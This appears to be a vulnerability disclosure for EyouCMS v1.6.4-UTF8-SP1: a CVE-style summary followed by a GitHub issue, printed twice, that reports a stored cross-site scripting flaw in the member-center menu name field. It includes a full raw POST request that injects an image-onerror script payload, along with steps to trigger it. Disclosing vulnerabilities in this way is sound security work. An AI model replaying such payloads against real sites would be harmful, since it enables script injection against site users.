A stored cross-site scripting (XSS) vulnerability in EyouCMS v1.6.4-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Menu Name field at /login.php?m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn.
cpe:2.3:a:eyoucms:eyoucms:1.6.4:*:*:*:*:*:*:*
8E52879A-3ABB-441B-B6A9-A91E6C700778
OR
**Version**:
<=EyouCMS-V1.6.4-UTF8-SP1
![20230823184917](https://github.com/weng-xianhu/eyoucms/assets/72898290/36522963-664f-4ac1-a291-e68a2952124b)

**Description**:
1. Login to the back-end with an administrator account, click "Member Center", select "Function Configuration", then find "Frontend Style Settings", select "PC Left Menu", click "Manage" button, and modify the menu name.
![20230823185734](https://github.com/weng-xianhu/eyoucms/assets/72898290/29cbf8b2-da23-40d1-baae-34a2e6bf80cf)
![20230823185833](https://github.com/weng-xianhu/eyoucms/assets/72898290/9da23ac2-43ba-40a1-9e3f-adb652fd5043)
      ```
      POST /EyouCMS/login.php?m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn HTTP/1.1
      Host: 192.168.3.135
      Content-Length: 94
      Accept: application/json, text/javascript, */*; q=0.01
      X-Requested-With: XMLHttpRequest
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
      Content-Type: application/x-www-form-urlencoded; charset=UTF-8
      Origin: http://192.168.3.135
      Referer: http://192.168.3.135/EyouCMS/login.php?m=admin&c=Member&a=ajax_menu_index&lang=cn
      Accept-Encoding: gzip, deflate
      Accept-Language: zh-CN,zh;q=0.9
      Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=1mvmqpf2r3tteku8fbf3bu1to6; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; workspaceParam=users_index%7CMember
      Connection: close
      
      table=users_menu&id_name=id&id_value=11&field=title&value=<img src=1 onerror=alert(1)>
      ```
3. Register an account in the front-end and log in, click on "Avatar" and select "Personal Center", then a pop-up window will appear.
![20230823190732](https://github.com/weng-xianhu/eyoucms/assets/72898290/9d533863-e90b-4056-9493-b72664091ce8)


EyouCMS-V1.6.4-UTF8-SP1 has a vulnerability, Stored Cross-Site Scripting
This is a GitHub Issue
repo:eyoucms
owner:weng-xianhu
Title : EyouCMS-V1.6.4-UTF8-SP1 has a vulnerability, Stored Cross-Site Scripting
Issue date:

--- start body ---
**Version**:
<=EyouCMS-V1.6.4-UTF8-SP1
![20230823184917](https://github.com/weng-xianhu/eyoucms/assets/72898290/36522963-664f-4ac1-a291-e68a2952124b)

**Description**:
1. Login to the back-end with an administrator account, click "Member Center", select "Function Configuration", then find "Frontend Style Settings", select "PC Left Menu", click "Manage" button, and modify the menu name.
![20230823185734](https://github.com/weng-xianhu/eyoucms/assets/72898290/29cbf8b2-da23-40d1-baae-34a2e6bf80cf)
![20230823185833](https://github.com/weng-xianhu/eyoucms/assets/72898290/9da23ac2-43ba-40a1-9e3f-adb652fd5043)
      ```
      POST /EyouCMS/login.php?m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn HTTP/1.1
      Host: 192.168.3.135
      Content-Length: 94
      Accept: application/json, text/javascript, */*; q=0.01
      X-Requested-With: XMLHttpRequest
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
      Content-Type: application/x-www-form-urlencoded; charset=UTF-8
      Origin: http://192.168.3.135
      Referer: http://192.168.3.135/EyouCMS/login.php?m=admin&c=Member&a=ajax_menu_index&lang=cn
      Accept-Encoding: gzip, deflate
      Accept-Language: zh-CN,zh;q=0.9
      Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=1mvmqpf2r3tteku8fbf3bu1to6; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; workspaceParam=users_index%7CMember
      Connection: close
      
      table=users_menu&id_name=id&id_value=11&field=title&value=<img src=1 onerror=alert(1)>
      ```
3. Register an account in the front-end and log in, click on "Avatar" and select "Personal Center", then a pop-up window will appear.
![20230823190732](https://github.com/weng-xianhu/eyoucms/assets/72898290/9d533863-e90b-4056-9493-b72664091ce8)


--- end body ---

comments :
--- start comments ---

--- end comments ---